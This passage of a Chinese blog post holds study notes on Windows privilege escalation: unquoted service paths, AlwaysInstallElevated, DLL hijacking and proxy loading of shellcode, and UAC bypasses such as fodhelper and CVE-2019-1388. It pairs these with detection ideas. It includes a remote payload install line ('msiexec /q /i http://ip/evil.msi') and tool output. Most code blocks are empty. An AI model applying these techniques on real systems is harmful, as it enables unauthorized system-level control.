根据 AbuseFunction 中的利用方式执行脚本,这里以 VGAuthService 服务为例
添加一个名为 user,密码为 123456 的账号:
|
|
==》检测:powershell添加用户
3.1.3 metasploit
|
|
todo:数据采集,分析!
3.2 可信任服务路径提权
可信任服务路径漏洞利用了 Windows 文件路径解析的特性,如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,同时攻击者该文件路径有可写权限,攻击者就可以上传文件来劫持路径名。
例如 Windows 系统启动某服务时查找的文件路径为 C:\Program Files\Some Folder\Services.exe
。
对于该路径中的每一个空格,Windows 都会尝试并执行与空格前面的名字相匹配的程序,因此 Windows 会以依次如下顺序查找一下启动程序:
- C:\Program.exe
- C:\Program Files\Some.exe
- C:\Program Files\Some Folder\Services.exe
此时如果我们对 C:\路径或者 C:\Program Files 有可写的权限,就可以上传 Program.exe 或 Some.exe 程序到相应目录下,当服务重新启动时,就会以 System 权限执行我们上传的恶意程序。
利用条件:
- 服务路径未使用双引号
- 服务路径包含空格
- 我们有某一中间文件夹的写权限
3.2.1 检查
|
|
3.2.2 利用
接着查看是否有对目标文件夹的写权限,使用 Windows 内置工具 icacls,以此检查各级路径:
|
|
依次查看各级目录是否有可写权限,最后找到 C:\Program Files\VMware 目录,在该目录下方式木马,上线后,即为高权限。
3.3.3 msf 中的模块
exploit/windows/local/trusted_service_path
模块
todo:数据采集,分析检测
3.3 计划任务提权
如果攻击者对以高权限运行的计划任务所在目录具有所写权限,就可以使用恶意程序覆盖原来的程序,这样,在计划任务下次执行时就会以高权限来运行恶意程序。
|
|
检测:Get-ScheduleTask + 文件覆盖,组合规则
查看某个目录的权限配置情况
|
|
如果攻击者对某个高权限的计划任务所在的路径有可写权限,可使用恶意程序覆盖原来的程序,当计划任务下次执行时,就会以高权限运行恶意程序。
4 AlwaysInstallElevated 提权
注册表键 AlwaysInstallElevated 是一个策略设置项,Window 允许低权限用户以 System 权限运行 MSI 安装文件,如果启用此策略设置项,那么任何权限的用户都能以 NT AUTHORITY\SYSTEM
权限来运行恶意的 MSI 文件
4.1 查询
查询:
|
|
未启用 AlwaysInstallElevated 策略,返回结果为:「找不到指定的注册表项或值」
检测:特定注册表读取操作
4.2 开启
|
|
检测:注册表写操作 AlwaysInstallElevated
4.3 执行 MSI 文件
本地执行:msiexec /q /i C:\msi.msi
-
/i 参数用来表示安装操作
-
/q 参数用来隐藏安装界面
并且 MSIEXEC 也可以实现无落地文件的方式进行木马上线的方式,当然低权限用不了,因为 msi 文件需要可信的证书才能远程利用 AlwaysInstallElevated 提权:msiexec /q /i http://ip/evil.msi
检测:msiexec 执行异常操作
4.4 利用
4.4.1 PowerUP 脚本
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
测试是否启用 AlwaysInstallElevated:
|
|
检测:powerup文件创建,powershell模块加载 Get-RegistryAlwaysInstallElevated
返回 True 代表开启。
4.4.2 MSI Wrapper 添加用户
MSI Wrapper 下载地址:https://www.exemsi.com/download/
将 Payload 设置为执行 ProcessHacker:
运行时要求提升权限:
MSI installation context 下选择 Per User 和 Per Machine 都可以。
5 无人值守安装文件
一些 windows 无人值守安装文件中含有用户的明文或 base64 编码后的密文???//什么鬼?想说啥?窃取用户名?
|
|
常见位置:
- C:\sysprep.inf
- C:\sysprep\sysprep.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windos\System32\sysprep\unattend.xml
- C:\Windows\System32\Sysprep\Panther\unattend.xml
6 DLL 劫持提权
6.1 相关概念
6.1.1 DLL 简介
动态链接库(Dynamic-Link-Library,缩写 dll)。在 Windows 中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即 DLL 文件,放置于系统中。当执行某一个程序时,相应的 DLL 文件就会被调用。一个应用程序可使用多个 DLL 文件,一个 DLL 文件也可能被不同的应用程序使用,这样的 DLL 文件被称为共享 DLL 文件。
6.1.2 DLL 的加载顺序
微软的 DLL 劫持分为三个阶段
- 无保护阶段:Windows XP SP2 之前
- 保护阶段:Windows XP SP2 之后,Windows 7 之前
- 进一步保护阶段:Windows 7 之后
Windows XP SP2 之前
- 进程对应的应用程序所在目录;
- 加载 DLL 时所在的当前目录 (SetCurrentDirectory);
- 系统目录即 SYSTEM32 目录(通过 GetSystemDirectory 获取);
- 16 位系统目录即 SYSTEM 目录;
- Windows 目录:C:\Windows(通过 GetWindowsDirectory 获取);
- PATH 环境变量中的各个目录;
Windows XP SP2 之后
微软为了防止 DLL 劫持漏洞的产生,在 XP SP2 之后,添加了一个 SafeDllSearchMode 的注册表属性。注册表路径如下:
|
|
当 SafeDllSearchMode 的值设置为 1,即安全 DLL 搜索模式开启时,查找 DLL 的目录顺序如下:
- 应用程序所在目录;
- 系统目录 SYSTEM32 目录;
- 16 位系统目录即 SYSTEM 目录。该项只是为了向前兼容的处理,可以不考虑
- Windows 目录。通常是C:\Windows;
- 加载 DLL 时所在的当前目录;
- 环境变量 PATH 中所有目录。需要注意的是,这里不包括 App Paths 注册表项指定的应用程序路径。
win7 之后
微软为了更进一步的防御系统的 DLL 被劫持,将一些容易被劫持的系统 DLL 写进了一个注册表项中,那么凡是此项下的 DLL 文件就会被禁止从 EXE 自身所在的目录下调用,而只能从系统目录即 SYSTEM32 目录下调用。注册表路径如下:
|
|
Windows 操作系统通过「DLL路径搜索目录顺序」和「Know DLLs注册表项」的机制来确定应用程序所要调用的 DLL 的路径,之后,应用程序就将 DLL 载入了自己的内存空间,执行相应的函数功能。
注册表路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
6.1.3 分析 DLL 的加载过程 - Process Monitor
Process Monitor 是 Windows 的高级监视工具,可显示实时文件系统,注册表和进程/线程活动。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-utilities
Process Monitor Filter 是用于过滤应用程序输出的一部分功能,可以使得进程事件结果成为你想要的内容。常用过滤条件:Process Name,Path,Result
设置 Process Name is 待测目标,设置 Path ends with .dll
,Result is NAME NOT FOUND
6.1.4 DLL 劫持步骤
如果在应用程序寻找成功之前,将我们自己创造的 DLL 文件放入寻找目录中,那么应用程序就会加载我们自己的 DLL
6.2 实现
6.2.1 实现一个 DLL 劫持
|
|
载入状态 | 值 | 说明 |
---|---|---|
DLL_PROCESS_ATTACH | 1 | 被进程装载时 |
DLL_PROCESS_DETACH | 0 | 被进程卸载时 |
DLL_THREAD_ATTACH | 2 | 被线程装载时 |
DLL_THREAD_DETACH | 3 | 被线程卸载时 |
|
|
如果应用程序调用的 DLL 没有 DLLMain 函数就需要实现指定导出函数,然后等待导出函数执行完毕再 Load 真实 DLL。
6.2.2 msf
MSF 生成 payload:
|
|
==》检测:dll覆盖,异常DLL加载
6.3 自动化工具检测
6.3.1 rattler
https://github.com/sensepost/rattler
Rattler 自动枚举应用程序 DLL 来识别和利用 DLL,看哪些些 DLL 可以通过 DLL 预加载攻击被劫持。
实现思路:
- 枚举进程调用的 dll 列表,解析出 dll 的名称
- 将测试 dll 分别重命名为列表中的 dll 名称
- 再次启动程序,检测是否成功创建进程 calc.exe,如果成功,代表存在漏洞,否则不存在
测试:
使用 Visual Studio 编译 Rattler,将 payload.dll 放于同级目录下
payload.dll 下载地址:
https://github.com/sensepost/rattler/releases/download/v1.0/payload.dll
管理员权限的 cmd 下运行命令:
|
|
C:\Users\User\Desktop>Rattler_32.exe "C:\Users\User\Downloads\NDP462-KB3151800-x86-x64-AllOS-ENU.exe" 1
[+] RATTLER
[*] TARGET APPLICATION: C:\Users\User\Downloads\NDP462-KB3151800-x86-x64-AllOS-ENU.exe
[+] STARTING UP...
[*] TARGET PROCESS ID: 3504
[+] IMPLEMENTING EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\SYSTEM32\CRYPTSP.dll
[*] INFO: DLL IS VULNERABLE TO EXECUTABLE TEST-> C:\Windows\SYSTEM32\CRYPTSP.dll
[*] TARGETING DLL-> C:\Windows\system32\rsaenh.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\SYSTEM32\ntmarta.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\SYSTEM32\feclient.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\system32\uxtheme.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\System32\MSCTF.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[*] TARGETING DLL-> C:\Windows\system32\dwmapi.dll
[*] TARGET DLL IS NOT VULNERABLE TO EXECUTABLE TEST
[+] EXECUTABLE TEST TOTAL DLL's IDENTIFIED: 43
[+] EXECUTABLE TEST TOTAL VULN COUNT: 1
[*] EXECUTABLE TEST VULNERABLE DLL-> C:\Windows\SYSTEM32\CRYPTSP.dll
==》检测:工具名
6.3.2 ChkDllHijack
使用 windbg 导出 module:
打开 chkDllHijack,粘贴处要验证的 DLL 内容,等待其运行完毕,检查结果:
检测:工具名
6.4 DLL Side-Loading(DLL Proxy Loading)
6.4.1 原理
不使应用程序崩溃的情况下利用 DLL Hijack 漏洞。将合法函数调用重定向到原始 DLL,在后台静默加载我们的 shellcode。
DLL Side-Loading 与 DLL 劫持非常相似。但是,它不会破坏原始程序的执行流程或功能。,将恶意程序隐藏在合法应用程序之后,同时也可以利用该方法维持权限。
检测:需要L2规则
DLL Proxy 流程图:
- 启动时,应用程序 A 需要使用名为 GetFunkyData() 的第三方函数来获取数据,GetFunkyData() 存在于动态链接库中,该动态链接库位于应用程序的工作目录中,名为 DataFunctions_Original.dll (B)。
- 应用程序 A 以其名称加载库 DataFunctions.dll,以尝试执行 GetFunkyData()。 该 DLL 实际上是攻击者专门设计的“代理”库,代理 DLL 使用将函数调用重定向到原始 DLL“ DataFunctions_Original.dll”(B)。
- 此时,攻击者已经劫持了执行流程(C),并且可以代表运行中的进程(E)执行代码,而无需用户或应用程序的了解。
6.4.2 利用
https://github.com/Flangvik/SharpDllProxy
|
|
现在需要将程序生成的源码进行编译,打开 VS 2019,选择创建新工程:
选择 C++ 语言,搜索 Library
,然后点击 DLL
模板:
项目名称应该匹配我们要劫持的 DLL 名称。将工具生成的代码内容复制到 dllmain.cpp 中:
当 DLL_PROCESS_ATTACH
时间被触发时,DLL 会创建一个新线程。DoMagic()
函数从 shellcode.bin 读取 payload 到内存中,并执行。
下一步即可编译该 DLL 库文件,选择合适的架构:x64/x86
,然后选择 release
,build 即可。
7 Bypass UAC
7.1 原理及概念
什么是UAC?
用户帐户控制 (UAC) 有助于防止恶意软件损坏电脑,并且有助于组织部署易于管理的桌面。 借助 UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。 UAC 可阻止自动安装未经授权的应用并防止意外更改系统设置。
UAC 允许所有用户使用标准用户帐户登录到他们的计算机。 使用标准用户令牌启动的进程可能会使用授予标准用户的访问权限执行任务。 例如,Windows 资源管理器会自动继承标准用户级别权限。 此外,使用 Windows 资源管理器启动(例如,通过双击快捷方式)的任何应用也会使用标准用户权限组运行。 许多应用(包括操作系统本身附带的应用)旨在通过此方式正常运行。
其他应用(尤其是那些不是使用安全设置专门精心设计的应用)通常需要附加权限才能成功运行。 这些类型的应用称为旧版应用。 此外,诸如安装新软件和更改 Windows 防火墙配置之类的操作需要比提供给标准用户帐户更多的权限。
当应用需要使用超过标准用户权限运行时,UAC 允许用户使用管理员令牌运行应用, (管理组和权限) 而不是其默认的标准用户访问令牌。 用户继续在标准用户安全上下文中操作,同时根据需要允许某些应用使用提升的权限运行。
User Account Control(UAC)是在 Windows Vista 以后版本中引入的一种安全机制,针对具有有限权限的账户。通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。UAC 可以阻止未经授权的应用程序自动进行安装,并防止无意中更改系统设置。
7.1.1 UAC 的实现
ACL(Access Control List):Windows 中所有资源都有 ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。
在开启了 UAC 之后,如果用户是标准用户, Windows 会给用户分配一个标准 Access Token
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动 Explorer.exe 进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。
7.1.2 配置 UAC 策略
Win+R,输入 gpedit.msc,打开组策略,在「计算机配置 – Windows设置 – 安全设置 – 本地策略 – 安全选项」,再在右侧窗口找到「用户帐户控制: 管理员批准模式中管理员的提升权限提示的行为」,如下图:
- 不提示直接提升:关闭 UAC,需要权限时直接提升权限。
- 在安全桌面上提示凭据:需要权限时在安全桌面上输入管理员密码提升权限。
- 在安全桌面上同意提示:需要权限时在安全桌面上选择「允许」提升权限。
- 提示凭据:需要权限时在普通窗口中输入管理员密码提升权限。
- 同意提示:需要权限时在普通窗口中选择「允许」提升权限。
- 非 Windows 二进制文件的同意提示:(默认设置) 当非 Microsoft 应用程序的某个操作需要提升权限时,选择「允许」提升权限。
7.1.3 提示 UAC 的情况
因为普通应用执行权限有限,某些操作必然会要求更高的管理员权限。此时,通常就需要一个权限提升的操作。程序可以向系统请求提权,系统会将此请求通过提一个提示框,请用户确认。
触发 UAC 的行为:
- 配置Windows Update
- 增加或删除用户账户
- 改变用户的账户类型
- 改变 UAC 设置
- 安装 ActiveX
- 安装或移除程序
- 安装设备驱动程序
- 设置家长控制
- 将文件移动或复制到 Program Files 或 Windows 目录
- 查看其他用户文件夹
如果当前用户的用户组权限不是管理员,提权操作是要求输入管理员密码的,这点和在 Linux 中的相应操作类似。
- 程序只能在运行前要求提权。如果已经在运行了,那么将失去申请提权的能力
- 权限提升仅对此次进程有效
提升权限的操作大致有两个:
- 自动提权请求
- 手动提权请求
手动提权就是「以管理员身份运行」,自动提权请求就是程序本身就一运行就开始申请权限,如:注册表编辑器
在开发的过程中,程序员若要开发一个程序,可以在编译器配置,写入一个配置文件,用于向系统标识该应用程序是必须要管理员权限运行的。
- aslnvoker 默认权限
- highestAvailable 最高权限
- requireAdministrator 必须是管理员权限
将编译选项调整为 requireAdministrator,当用户运行程序后,将获得管理员权限会话,不需要绕过 UAC 了。
manifest 中其实还有其他属性,如:autoElevate(自动提升)
7.2 auto Elevate 自动提升权限分析
拥有自动权限提升属性的文件,会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动,假设通过 DLL 劫持,也能获得管理员权限。
但是:
- 可能分析成本较高
- 可能需要高权限才能够完成
7.2.1 寻找 auto Elevate
https://github.com/g3rzi/Manifesto
如果上述程序存在 DLL 劫持漏洞,那么普通用户就可以用低权限绕过 UAC 确认,以高权限执行任意代码。
检测:提取工具识别
7.2.2 手动 bypass UAC
C:\Windows\system32\odbcad32.exe
该程序用于配置 ODBC 数据源,但提供了一个输入点,那就是文件浏览器,通过文件浏览器我们可以打开一个管理员权限的 Powershell。
还有一个特别典型的例子就是:CVE-2019-1388
证书提权漏洞。
通过点击「展示证书发行者的详细信息」链接会触发 consent.exe
以 SYSTEM
权限打开浏览器访问此链接,然后此浏览器就会有 SYSTEM
权限。通过保存该浏览页面,会弹出微软的资源管理器,在资源管理器中邮件打开 cmd.exe
程序,就会继承浏览器的 SYSTEM
权限,由此就完成了由普通用户到 NT AUTHORITY\SYSTEM
用户的提权。
检测:总感觉这种场景windows应该给一个提示,或者日志记录。
7.3 利用注册表 bypass UAC
一些高权限的程序会调用 HKCR:\
下的键值。
流程:
- 通过修改
HKCU:\
下面的键值同步修改HKCR:\
下的键值。 - 把原本的键值改为
cmd.exe
等 shell 程序。 - 如果高权限的程序在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。
- 如此便实现了 Bypass UAC。
常见的有:eventvwr.exe、fodhelper.exe,下面以 fodhelper.exe 为例:
- Path:
C:\Windows\system32\fodhelper.exe
- REG:
HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
|
|
在 msf 中已经集成了相应的利用方式。
todo,待实践。
7.4 UACME
工具地址:https://github.com/hfiref0x/UACME,内含 60+ 种 BypassUAC 的方法
todo:待实践
工具列表如下:
Akagi 是项目的主程序,其中包含了所有的 Methods,绕过 UAC 的主要方法的源码都在 Method 目录下,会以 UAC 绕过方法的发现者的名字来命名源文件。
clone 到本地后,用 VS2019 打开,选择 uacme.vcxproj,以 Release|x64 去 build,然后 ctrl+b
build 项目,生成的项目在 source/Akag/output 下
使用 vs2019
本地编译后可以使用 akagi32 41
或者 akagi64 41
启动程序,41
这个指的是 README
中描述的方法索引,运行后可以直接得到管理员权限的 cmd
窗口:
8 自动化检测
winPEAS
工具地址:https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
todo:待实践
9 土豆类提权
在「potato 家族提权分析」中已有介绍,再次不做赘述。
10 参考
- http://www.fuzzysecurity.com/tutorials/16.html
- https://www.xazlsec.com/index.php/archives/245/
- https://at449.com/2020/04/09/2007/
- https://www.xazlsec.com/index.php/archives/1164/
- 酒仙桥六号部队 - 红队测试之Windows提权小结
- https://3gstudent.github.io/DLL劫持漏洞自动化识别工具Rattler测试/
- https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/
- https://payloads.online/archivers/2020-03-02/2
- http://blog.leanote.com/post/snowming/ec21a4823438
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Blazor Hybrid适配到HarmonyOS系统
· 支付宝 IoT 设备入门宝典(下)设备经营篇
· 万字调研——AI生成内容检测
· 解决跨域问题的这6种方案,真香!
· 一套基于 Material Design 规范实现的 Blazor 和 Razor 通用组件库
2019-08-24 Koadic的安装和使用---http c2远控工具
2018-08-24 5G RRC——为NAS层提供连接管理,消息传递等服务; 对接入网的底层协议实体提供参数配置的功能; 负责UE移动性管理相关的测量、控制等功能
2018-08-24 信令风暴问题根因分析
2018-08-24 无线基站侧的信令风暴根因——频繁的释放和连接RRC产生大量信令、设备移动导致小区重选信令增加、寻呼信令多